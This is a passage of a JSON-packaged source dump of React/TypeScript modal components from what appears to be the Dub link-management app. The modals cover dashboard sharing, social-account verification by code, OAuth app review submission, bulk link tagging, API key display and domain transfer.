className=\"size-4\" />\n                  Enable public sharing\n                </span>\n                <Switch\n                  checked={checked}\n                  fn={(checked) => (checked ? handleCreate() : handleRemove())}\n                  disabled={isRemoving || isCreating}\n                />\n              </label>\n              {checked &&\n                (dashboard ? (\n                  <div className=\"pt-4 text-sm\">\n                    <div className=\"divide-x-200 flex items-center justify-between divide-x overflow-hidden rounded-md border border-neutral-200 bg-neutral-100\">\n                      <div className=\"scrollbar-hide overflow-scroll pl-3\">\n                        <p className=\"whitespace-nowrap text-neutral-400\">\n                          {getPrettyUrl(`${APP_DOMAIN}/share/${dashboard.id}`)}\n                        </p>\n                      </div>\n                      <button\n                        className=\"flex h-8 items-center gap-2 whitespace-nowrap border-l bg-white px-3 hover:bg-neutral-50 active:bg-neutral-100\"\n                        onClick={() => {\n                          const url = `${APP_DOMAIN}/share/${dashboard.id}`;\n                          toast.promise(copyToClipboard(url), {\n                            success: \"Copied to clipboard\",\n                          });\n                        }}\n                      >\n                        {copied ? (\n                          <Tick className=\"h-4 w-4 text-neutral-500\" />\n                        ) : (\n                          <Copy className=\"h-4 w-4 text-neutral-500\" />\n                        )}\n                        Copy link\n                      </button>\n                    </div>\n                    <form\n                      className=\"grid w-full gap-3 px-px pt-4\"\n                      onSubmit={handleSubmit(handleUpdate)}\n                    >\n                      <p className=\"text-base font-medium\">Settings</p>\n                      <div className=\"flex items-center justify-between gap-2\">\n                        <p className=\"text-sm text-neutral-600\">\n                          Conversion analytics\n                        </p>\n                        <Controller\n                          name=\"showConversions\"\n                          control={control}\n                          render={({ field }) => (\n                            <Switch\n                              checked={field.value}\n                              fn={(checked) => field.onChange(checked)}\n                            />\n                          )}\n                        />\n                      </div>\n                      <div className=\"flex items-center justify-between gap-2\">\n                        <p className=\"text-sm text-neutral-600\">\n                          Search engine indexing\n                        </p>\n                        <Controller\n                          name=\"doIndex\"\n                          control={control}\n                          render={({ field }) => (\n                            <Switch\n                              checked={field.value}\n                              fn={(checked) => field.onChange(checked)}\n                            />\n                          )}\n                        />\n                      </div>\n                      <div className=\"flex items-center justify-between gap-2\">\n                        <p className=\"text-sm text-neutral-600\">\n                          Password protection\n                        </p>\n                        <Switch\n                          checked={watch(\"password\") !== null}\n                          fn={(checked) => {\n                            setValue(\"password\", checked ? \"\" : null, {\n                              shouldDirty: true,\n                            });\n                          }}\n                        />\n                      </div>\n                      {watch(\"password\") !== null && (\n                        <Input\n                          data-1p-ignore\n                          type=\"password\"\n                          {...register(\"password\")}\n                          required\n                        />\n                      )}\n                      <Button\n                        type=\"submit\"\n                        loading={isSubmitting}\n                        disabled={!isDirty}\n                        text=\"Save changes\"\n                        className=\"h-9\"\n                      />\n                    </form>\n                  </div>\n                ) : (\n                  <div className=\"mt-4 h-7 w-full animate-pulse rounded-md bg-neutral-200\" />\n                ))}\n            </>\n          ) : (\n            <div className=\"flex w-full items-center justify-between pt-6\">\n              <div className=\"h-5 w-36 animate-pulse rounded-md bg-neutral-200\" />\n              <div className=\"h-5 w-12 animate-pulse rounded-md bg-neutral-200\" />\n            </div>\n          )}\n        </AnimatedSizeContainer>\n      </div>\n    </>\n  );\n}\n\nfunction LinkCard({\n  link,\n  isError,\n}: {\n  link: LinkProps | undefined;\n  isError: boolean;\n}) {\n  return (\n    <div className=\"flex items-center gap-3 rounded-lg border border-neutral-300 bg-white p-3\">\n      {isError ? (\n        <span className=\"text-sm text-neutral-400\">Failed to load link</span>\n      ) : link === undefined ? (\n        <>\n          <div className=\"m-px size-9 animate-pulse rounded-full bg-neutral-200\" />\n          <div className=\"flex flex-col gap-2\">\n            <div className=\"h-5 w-24 max-w-full animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-32 max-w-full animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        </>\n      ) : (\n        <>\n          <div className=\"relative flex shrink-0 items-center justify-center rounded-full border border-neutral-200\">\n            {/* Background gradient + white border */}\n            <div className=\"absolute inset-0 rounded-full border border-white bg-gradient-to-t from-neutral-100\" />\n            <div className=\"shrink-0 p-2\">\n              <LinkLogo\n                apexDomain={link ? getApexDomain(link?.url) : \"\"}\n                className=\"size-5 sm:size-5\"\n                imageProps={{\n                  loading: \"lazy\",\n                }}\n              />\n            </div>\n          </div>\n          <div className=\"flex min-w-0 flex-col text-sm\">\n            {link && (\n              <span className=\"truncate font-semibold leading-6 text-neutral-800\">\n                {linkConstructor({\n                  domain: link.domain,\n                  key: link.key,\n                  pretty: true,\n                })}\n              </span>\n            )}\n            <div className=\"flex items-center gap-1\">\n              <ArrowTurnRight2 className=\"h-3 w-3 shrink-0 text-neutral-400\" />\n              {link?.url ? (\n                <a\n                  href={link.url}\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                  title={link.url}\n                  className=\"truncate text-neutral-500 transition-colors hover:text-neutral-700 hover:underline hover:underline-offset-2\"\n                >\n                  {getPrettyUrl(link.url)}\n                </a>\n              ) : (\n                <span className=\"truncate text-neutral-400\">\n                  No URL configured\n                </span>\n              )}\n            </div>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n\nfunction FolderCard({\n  folder,\n  isError,\n}: {\n  folder: Folder | undefined;\n  isError: boolean;\n}) {\n  const { folderLinkCount } = useFolderLinkCount({\n    enabled: Boolean(folder?.id) && folder?.type !== \"mega\",\n    folderId: folder?.id ?? null,\n  });\n\n  return (\n    <div className=\"flex items-center gap-3 rounded-lg border border-neutral-300 bg-white p-3\">\n      {isError ? (\n        <span className=\"text-sm text-neutral-400\">Failed to load folder</span>\n      ) : folder === undefined ? (\n        <>\n          <div className=\"m-px size-9 animate-pulse rounded-full bg-neutral-200\" />\n          <div className=\"flex flex-col gap-2\">\n            <div className=\"h-5 w-24 max-w-full animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-32 max-w-full animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        </>\n      ) : (\n        <>\n          <div className=\"relative flex shrink-0 items-center justify-center rounded-full border border-blue-200\">\n            {/* Background gradient + white border */}\n            <div className=\"absolute inset-0 rounded-full border border-white bg-blue-100\" />\n            <div className=\"relative shrink-0 p-2.5\">\n              <FolderIcon className=\"size-4 text-blue-800\" />\n            </div>\n          </div>\n          <div className=\"flex min-w-0 flex-col text-sm\">\n            {folder && (\n              <span className=\"truncate font-semibold leading-6 text-neutral-800\">\n                {folder.name}\n              </span>\n            )}\n            <div className=\"flex items-center gap-1\">\n              <Globe className=\"size-3 shrink-0 text-neutral-400\" />\n              <span className=\"truncate text-neutral-500 transition-colors hover:text-neutral-700 hover:underline hover:underline-offset-2\">\n                {folder.type === \"mega\"\n                  ? \"10,000+ links\"\n                  : `${nFormatter(folderLinkCount, { full: true })} ${pluralize(\n                      \"link\",\n                      folderLinkCount,\n                    )}`}\n              </span>\n            </div>\n          </div>\n        </>\n      )}\n    </div>\n  );\n}\n\nexport function useShareDashboardModal(props: ShareDashboardModalInnerProps) {\n  const [showShareDashboardModal, setShowShareDashboardModal] = useState(false);\n\n  const ShareDashboardModalCallback = useCallback(() => {\n    return (\n      <ShareDashboardModal\n        showModal={showShareDashboardModal}\n        setShowModal={setShowShareDashboardModal}\n        {...props}\n      />\n    );\n  }, [showShareDashboardModal, setShowShareDashboardModal, props]);\n\n  return useMemo(\n    () => ({\n      setShowShareDashboardModal,\n      ShareDashboardModal: ShareDashboardModalCallback,\n    }),\n    [setShowShareDashboardModal, ShareDashboardModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/social-verification-by-code-modal.tsx",
    "content": "import { verifySocialAccountByCodeAction } from \"@/lib/actions/partners/verify-social-account-by-code\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PlatformType } from \"@dub/prisma/client\";\nimport { Button, buttonVariants, CopyButton, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { X } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { Dispatch, ReactNode, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\n\ninterface SocialVerificationByCodeModalProps {\n  showSocialVerificationModal: boolean;\n  setShowSocialVerificationModal: Dispatch<SetStateAction<boolean>>;\n  platform: PlatformType;\n  handle: string;\n  verificationCode: string;\n}\n\ninterface PlatformInfo {\n  name: string;\n  title: string;\n  instruction: string;\n  openLabel: string;\n  verifyTitle: string;\n  verifyDescription: string;\n  getProfileUrl: (handle: string, verificationCode: string) => string;\n}\n\nconst PLATFORM_INFO: Record<\n  \"youtube\" | \"instagram\" | \"linkedin\",\n  PlatformInfo\n> = {\n  youtube: {\n    name: \"YouTube\",\n    title: \"Edit your YouTube channel\",\n    instruction:\n      \"Navigate to your channel settings and add the 6 digit code above to your channel description temporarily.\",\n    openLabel: \"Open channel\",\n    verifyTitle: \"Verify account\",\n    verifyDescription:\n      \"Click verify below once you've added the code to your channel description.\",\n    getProfileUrl: (handle) => `https://www.youtube.com/@${handle}/about`,\n  },\n  instagram: {\n    name: \"Instagram\",\n    title: \"Edit your Instagram profile\",\n    instruction:\n      \"Navigate to your profile settings and add the 6 digit code above to your bio temporarily.\",\n    openLabel: \"Open profile\",\n    verifyTitle: \"Verify account\",\n    verifyDescription:\n      \"Click verify below once you've added the code to your bio.\",\n    getProfileUrl: (handle) => `https://www.instagram.com/${handle}/`,\n  },\n  linkedin: {\n    name: \"LinkedIn\",\n    title: \"Create a LinkedIn post\",\n    instruction:\n      \"Click the button below to create a LinkedIn post with the code pre-filled. You can remove the post after verification.\",\n    openLabel: \"Create post on LinkedIn\",\n    verifyTitle: \"Paste post URL and verify account\",\n    verifyDescription:\n      \"After creating the post, paste the post URL below and click verify.\",\n    getProfileUrl: (_handle, code) =>\n      `https://www.linkedin.com/feed/?shareActive=true&text=${encodeURIComponent(\n        `I'm claiming my Dub profile on partners.dub.co 🤘\\n\\nEarn by partnering with world-class companies like Framer, Polymarket, Perplexity, and more.\\n\\nVerification: ${code}`,\n      )}`,\n  },\n};\n\nexport function SocialVerificationByCodeModal(\n  props: SocialVerificationByCodeModalProps,\n) {\n  return (\n    <Modal\n      showModal={props.showSocialVerificationModal}\n      setShowModal={props.setShowSocialVerificationModal}\n    >\n      <SocialVerificationByCodeModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction SocialVerificationByCodeModalInner({\n  setShowSocialVerificationModal,\n  platform,\n  handle,\n  verificationCode,\n}: SocialVerificationByCodeModalProps) {\n  const { mutate: mutatePartner } = usePartnerProfile();\n  const [postUrl, setPostUrl] = useState(\"\");\n\n  const platformInfo: PlatformInfo = PLATFORM_INFO[platform];\n  const isLinkedIn = platform === \"linkedin\";\n\n  const { executeAsync, isPending } = useAction(\n    verifySocialAccountByCodeAction,\n    {\n      onSuccess: async () => {\n        toast.success(`${platformInfo.name} account verified successfully!`);\n        setShowSocialVerificationModal(false);\n        await mutatePartner();\n      },\n      onError: ({ error }) => {\n        toast.error(\n          error.serverError || \"Failed to verify account. Please try again.\",\n        );\n      },\n    },\n  );\n\n  const handleVerify = async () => {\n    if (isLinkedIn && !postUrl) {\n      toast.error(\"Please enter the LinkedIn post URL.\");\n      return;\n    }\n\n    await executeAsync({\n      platform,\n      handle,\n      ...(isLinkedIn && { postUrl }),\n    });\n  };\n\n  let stepNumber = 1;\n\n  if (!platformInfo) {\n    return null;\n  }\n\n  return (\n    <>\n      <div className=\"flex items-center justify-between border-b border-neutral-200 p-4 sm:px-6\">\n        <h3 className=\"text-lg font-semibold leading-none\">\n          Verify {platformInfo.name} account\n        </h3>\n        <button\n          type=\"button\"\n          onClick={() => setShowSocialVerificationModal(false)}\n          className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n        >\n          <X className=\"h-5 w-5\" />\n        </button>\n      </div>\n\n      <div className=\"flex flex-col gap-4 bg-neutral-50 p-4 sm:p-6\">\n        <Step\n          stepNumber={stepNumber++}\n          title=\"Copy the code below\"\n          description=\"You'll use this to verify ownership of your account.\"\n        >\n          <div className=\"flex items-center justify-between gap-2 rounded-lg border border-neutral-200 bg-neutral-100 px-4 py-2.5\">\n            <span className=\"text-content-default font-mono text-base font-medium tracking-wide\">\n              {verificationCode}\n            </span>\n            <CopyButton value={verificationCode} />\n          </div>\n        </Step>\n\n        <Step\n          stepNumber={stepNumber++}\n          title={platformInfo.title}\n          description={platformInfo.instruction}\n        >\n          <a\n            href={platformInfo.getProfileUrl(handle, verificationCode)}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className={cn(\n              buttonVariants({ variant: \"secondary\" }),\n              \"flex h-8 w-full items-center justify-center rounded-md border px-3 text-sm\",\n            )}\n          >\n            {platformInfo.openLabel}\n          </a>\n        </Step>\n\n        <Step\n          stepNumber={stepNumber++}\n          title={platformInfo.verifyTitle}\n          description={platformInfo.verifyDescription}\n        >\n          {isLinkedIn && (\n            <input\n              type=\"url\"\n              value={postUrl}\n              onChange={(e) => setPostUrl(e.target.value)}\n              placeholder=\"https://www.linkedin.com/feed/update/urn:li:activity:...\"\n              className=\"block w-full rounded-md border border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          )}\n          <Button\n            text=\"Verify account\"\n            className=\"h-8 w-full px-3\"\n            loading={isPending}\n            disabled={isLinkedIn && !postUrl}\n            onClick={handleVerify}\n          />\n        </Step>\n      </div>\n    </>\n  );\n}\n\nfunction Step({\n  stepNumber,\n  title,\n  description,\n  children,\n}: {\n  stepNumber: number;\n  title: string;\n  description: string;\n  children?: ReactNode;\n}) {\n  return (\n    <div className=\"flex flex-col gap-4 rounded-lg border border-neutral-200 p-4\">\n      <div className=\"text-content-default flex size-6 items-center justify-center rounded-md border border-neutral-200 bg-white p-2 text-sm font-semibold\">\n        {stepNumber}\n      </div>\n      <div className=\"space-y-1\">\n        <h4 className=\"text-sm font-medium text-black\">{title}</h4>\n        <p className=\"text-content-default text-sm font-normal\">\n          {description}\n        </p>\n      </div>\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/submit-oauth-app-modal.tsx",
    "content": "import { submitOAuthAppForReview } from \"@/lib/actions/submit-oauth-app-for-review\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppProps } from \"@/lib/types\";\nimport { BlurImage, Button, Logo, Modal } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\n\nconst DEFAULT_MESSAGE =\n  \"Hey! I'm submitting my OAuth app for review. Please let me know if you have any questions or need more information.\";\n\nfunction SubmitOAuthAppModal({\n  showSubmitOAuthAppModal,\n  setShowSubmitOAuthAppModal,\n  oAuthApp,\n}: {\n  showSubmitOAuthAppModal: boolean;\n  setShowSubmitOAuthAppModal: Dispatch<SetStateAction<boolean>>;\n  oAuthApp: Pick<OAuthAppProps, \"id\" | \"name\" | \"logo\" | \"slug\"> | undefined;\n}) {\n  const workspace = useWorkspace();\n  const [message, setMessage] = useState(DEFAULT_MESSAGE);\n\n  const { execute, isPending } = useAction(submitOAuthAppForReview, {\n    onSuccess: () => {\n      toast.success(\n        \"OAuth app submitted for review. We'll be in touch shortly.\",\n      );\n      setShowSubmitOAuthAppModal(false);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  if (!oAuthApp) {\n    return null;\n  }\n\n  return (\n    <Modal\n      showModal={showSubmitOAuthAppModal}\n      setShowModal={setShowSubmitOAuthAppModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        {oAuthApp.logo ? (\n          <BlurImage\n            src={oAuthApp.logo}\n            alt={oAuthApp.name}\n            className=\"h-10 w-10 rounded-full\"\n            width={20}\n            height={20}\n          />\n        ) : (\n          <Logo />\n        )}\n\n        <h3 className=\"text-lg font-medium\">\n          Submit {oAuthApp.name} for review\n        </h3>\n\n        <p className=\"text-center text-sm text-neutral-500\">\n          Please provide any additional information or comments for us to review\n          your app.\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n\n          execute({\n            message,\n            integrationId: oAuthApp.id,\n            workspaceId: workspace.id!,\n          });\n        }}\n        className=\"flex flex-col gap-4 bg-neutral-50 px-4 pb-8 pt-6 text-left sm:px-16\"\n      >\n        <TextareaAutosize\n          id=\"message\"\n          name=\"message\"\n          minRows={5}\n          value={message}\n          onChange={(e) => setMessage(e.target.value)}\n          className=\"mt-1 block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\"\n          maxLength={1000}\n        />\n        <Button\n          text={isPending ? \"Submitting...\" : \"Submit\"}\n          loading={isPending}\n          disabled={message.trim().length === 0}\n          type=\"submit\"\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useSubmitOAuthAppModal({\n  oAuthApp,\n}: {\n  oAuthApp: Pick<OAuthAppProps, \"id\" | \"name\" | \"logo\" | \"slug\"> | undefined;\n}) {\n  const [showSubmitOAuthAppModal, setShowSubmitOAuthAppModal] = useState(false);\n\n  const SubmitOAuthAppModalCallback = useCallback(() => {\n    return (\n      <SubmitOAuthAppModal\n        showSubmitOAuthAppModal={showSubmitOAuthAppModal}\n        setShowSubmitOAuthAppModal={setShowSubmitOAuthAppModal}\n        oAuthApp={oAuthApp}\n      />\n    );\n  }, [showSubmitOAuthAppModal, setShowSubmitOAuthAppModal, oAuthApp]);\n\n  return useMemo(\n    () => ({\n      setShowSubmitOAuthAppModal,\n      SubmitOAuthAppModal: SubmitOAuthAppModalCallback,\n    }),\n    [setShowSubmitOAuthAppModal, SubmitOAuthAppModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/tag-link-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExpandedLinkProps } from \"@/lib/types\";\nimport { Button, LinkLogo, Modal } from \"@dub/ui\";\nimport { getApexDomain, getPrettyUrl, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  MouseEvent,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { LinkBuilderProvider } from \"../links/link-builder/link-builder-provider\";\nimport { TagSelect } from \"../links/link-builder/tag-select\";\n\ninterface TagLinkModalProps {\n  showTagLinkModal: boolean;\n  setShowTagLinkModal: Dispatch<SetStateAction<boolean>>;\n  links: ExpandedLinkProps[];\n}\n\nfunction TagLinkModal(props: TagLinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showTagLinkModal}\n      setShowModal={props.setShowTagLinkModal}\n    >\n      <TagLinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction TagLinkModalInner({ setShowTagLinkModal, links }: TagLinkModalProps) {\n  const { id: workspaceId, slug, plan } = useWorkspace();\n\n  const [updating, setUpdating] = useState(false);\n\n  // Create form context needed for TagSelect\n  const form = useForm({\n    defaultValues: {\n      tags:\n        links.length === 1 ||\n        links\n          .slice(1)\n          .every(\n            ({ tags }) =>\n              JSON.stringify(tags) === JSON.stringify(links[0].tags),\n          )\n          ? links[0].tags\n          : [],\n      id: links[0]?.id,\n      url: links[0]?.url,\n      title: links[0]?.title,\n      description: links[0]?.description,\n    },\n  });\n\n  const handleSubmit = async (event: MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n    setUpdating(true);\n\n    const tags = form.getValues(\"tags\");\n\n    const response = await fetch(`/api/links/bulk?workspaceId=${workspaceId}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        linkIds: links.map(({ id }) => id),\n        data: { tagIds: tags.map((t) => t.id) },\n      }),\n    });\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setUpdating(false);\n      return;\n    }\n\n    mutatePrefix(\"/api/links\");\n    setShowTagLinkModal(false);\n    toast.success(\n      `Successfully updated tags for ${pluralize(\"link\", links.length)}!`,\n    );\n    setUpdating(false);\n  };\n\n  return (\n    <LinkBuilderProvider\n      workspace={{ id: workspaceId, slug, plan }}\n      modal={true}\n    >\n      <FormProvider {...form}>\n        <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n          {links.length === 1 && (\n            <LinkLogo\n              apexDomain={getApexDomain(links[0].url)}\n              className=\"mb-4\"\n            />\n          )}\n          <h3 className=\"truncate text-lg font-medium leading-none\">\n            Update tags for{\" \"}\n            {links.length > 1\n              ? `${links.length} links`\n              : getPrettyUrl(links[0].shortLink)}\n          </h3>\n        </div>\n\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <TagSelect />\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowTagLinkModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            onClick={handleSubmit}\n            loading={updating}\n            text={updating ? \"Saving...\" : \"Update tags\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </FormProvider>\n    </LinkBuilderProvider>\n  );\n}\n\nexport function useTagLinkModal({\n  props,\n}: {\n  props: ExpandedLinkProps | ExpandedLinkProps[];\n}) {\n  const [showTagLinkModal, setShowTagLinkModal] = useState(false);\n\n  const TagLinkModalCallback = useCallback(() => {\n    return props ? (\n      <TagLinkModal\n        showTagLinkModal={showTagLinkModal}\n        setShowTagLinkModal={setShowTagLinkModal}\n        links={Array.isArray(props) ? props : [props]}\n      />\n    ) : null;\n  }, [showTagLinkModal, setShowTagLinkModal, props]);\n\n  return useMemo(\n    () => ({\n      setShowTagLinkModal,\n      TagLinkModal: TagLinkModalCallback,\n    }),\n    [setShowTagLinkModal, TagLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/token-created-modal.tsx",
    "content": "import { Button, Copy, Modal, Tick, useCopyToClipboard } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction TokenCreatedModal({\n  showTokenCreatedModal,\n  setShowTokenCreatedModal,\n  token,\n}: {\n  showTokenCreatedModal: boolean;\n  setShowTokenCreatedModal: Dispatch<SetStateAction<boolean>>;\n  token: string;\n}) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <Modal\n      showModal={showTokenCreatedModal}\n      setShowModal={setShowTokenCreatedModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">API Key Created</h3>\n        <p className=\"text-sm text-neutral-500\">\n          For security reasons, we will only show you the key once. Please copy\n          and store it somewhere safe.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 sm:px-6\">\n        <div className=\"flex flex-col gap-1\">\n          <h2 className=\"text-sm font-medium text-neutral-800\">API key</h2>\n          <div className=\"flex items-center justify-between rounded-md border border-neutral-200 bg-white p-2\">\n            <p className=\"font-mono text-sm text-neutral-500\">{token}</p>\n            <button\n              onClick={(e) => {\n                e.stopPropagation();\n                toast.promise(copyToClipboard(token), {\n                  success: \"Copied to clipboard!\",\n                });\n              }}\n              type=\"button\"\n              className=\"flex h-7 items-center gap-2 rounded-md border border-neutral-200 bg-white px-2 py-1 text-xs font-medium text-neutral-900 hover:bg-neutral-50\"\n            >\n              {copied ? (\n                <Tick className=\"h-3.5 w-3.5\" />\n              ) : (\n                <Copy className=\"h-3.5 w-3.5\" />\n              )}\n              {copied ? \"Copied\" : \"Copy\"}\n            </button>\n          </div>\n        </div>\n        <Button text=\"Done\" onClick={() => setShowTokenCreatedModal(false)} />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useTokenCreatedModal({ token }: { token: string }) {\n  const [showTokenCreatedModal, setShowTokenCreatedModal] = useState(false);\n\n  const TokenCreatedModalCallback = useCallback(() => {\n    return (\n      <TokenCreatedModal\n        showTokenCreatedModal={showTokenCreatedModal}\n        setShowTokenCreatedModal={setShowTokenCreatedModal}\n        token={token}\n      />\n    );\n  }, [showTokenCreatedModal, setShowTokenCreatedModal]);\n\n  return useMemo(\n    () => ({\n      setShowTokenCreatedModal,\n      TokenCreatedModal: TokenCreatedModalCallback,\n    }),\n    [setShowTokenCreatedModal, TokenCreatedModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/transfer-domain-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { DomainProps } from \"@/lib/types\";\nimport { Button, Globe, Modal, useMediaQuery } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { WorkspaceSelector } from \"../workspaces/workspace-selector\";\n\ntype TransferDomainModalProps = {\n  showTransferDomainModal: boolean;\n  setShowTransferDomainModal: Dispatch<SetStateAction<boolean>>;\n  props: DomainProps;\n  onSuccess?: () => void;\n};\n\nfunction TransferDomainModal(props: TransferDomainModalProps) {\n  return (\n    <Modal\n      showModal={props.showTransferDomainModal}\n      setShowModal={props.setShowTransferDomainModal}\n    >\n      <TransferDomainModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction TransferDomainModalInner({\n  setShowTransferDomainModal,\n  props,\n  onSuccess,\n}: TransferDomainModalProps) {\n  const { slug: domain } = props;\n  const { id: currentWorkspaceId } = useWorkspace();\n  const [transferring, setTransferring] = useState(false);\n  const { workspaces } = useWorkspaces();\n  const [selectedWorkspace, setSelectedWorkspace] = useState<string | null>(\n    null,\n  );\n  const [verificationText, setVerificationText] = useState(\"\");\n\n  const { isMobile } = useMediaQuery();\n\n  const transferDomain = async (domain: string, selectedWorkspace: string) => {\n    setTransferring(true);\n    const newWorkspaceId = workspaces?.find(\n      (workspace) => workspace.slug === selectedWorkspace,\n    )?.id;\n    if (!newWorkspaceId) {\n      toast.error(\"New workspace not found.\");\n      return;\n    }\n\n    return await fetch(\n      `/api/domains/${domain}/transfer?workspaceId=${currentWorkspaceId}`,\n      {\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify({ newWorkspaceId }),\n      },\n    ).then(async (res) => {\n      if (res.ok) {\n        mutatePrefix(\"/api/domains\");\n        setShowTransferDomainModal(false);\n        onSuccess?.();\n      } else {\n        const { error } = await res.json();\n        toast.error(error.message || \"Failed to transfer domain.\");\n      }\n\n      setTransferring(false);\n    });\n  };\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Transfer domain</h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          Are you sure you want to transfer this domain?\n        </p>\n\n        <p className=\"mt-4 text-sm font-medium text-neutral-800\">\n          Transferring a domain will fully reset the stats for all associated\n          links and is irreversible – please proceed with caution.\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          <div className=\"flex items-center space-x-2 rounded-lg bg-white p-3\">\n            <div className=\"flex h-8 w-8 items-center justify-center rounded-full bg-neutral-100\">\n              <Globe className=\"size-4 rounded-full\" />\n            </div>\n            <div className=\"flex-1\">\n              <p className=\"text-sm font-medium text-neutral-900\">{domain}</p>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"mt-4\">\n          <WorkspaceSelector\n            selectedWorkspace={selectedWorkspace || \"\"}\n            setSelectedWorkspace={setSelectedWorkspace}\n          />\n        </div>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          if (selectedWorkspace) {\n            await transferDomain(domain, selectedWorkspace);\n          }\n        }}\n        className=\"flex flex-col bg-neutral-50 text-left\"\n      >\n        <div className=\"px-4 sm:px-6\">\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">confirm transfer domain</span> below\n          </label>\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern=\"confirm transfer domain\"\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verificationText}\n              onChange={(e) => setVerificationText(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-8 flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowTransferDomainModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            disabled={\n              !selectedWorkspace ||\n              verificationText !== \"confirm transfer domain\"\n            }\n            loading={transferring}\n            text=\"Transfer domain\"\n            className=\"h-8 w-fit 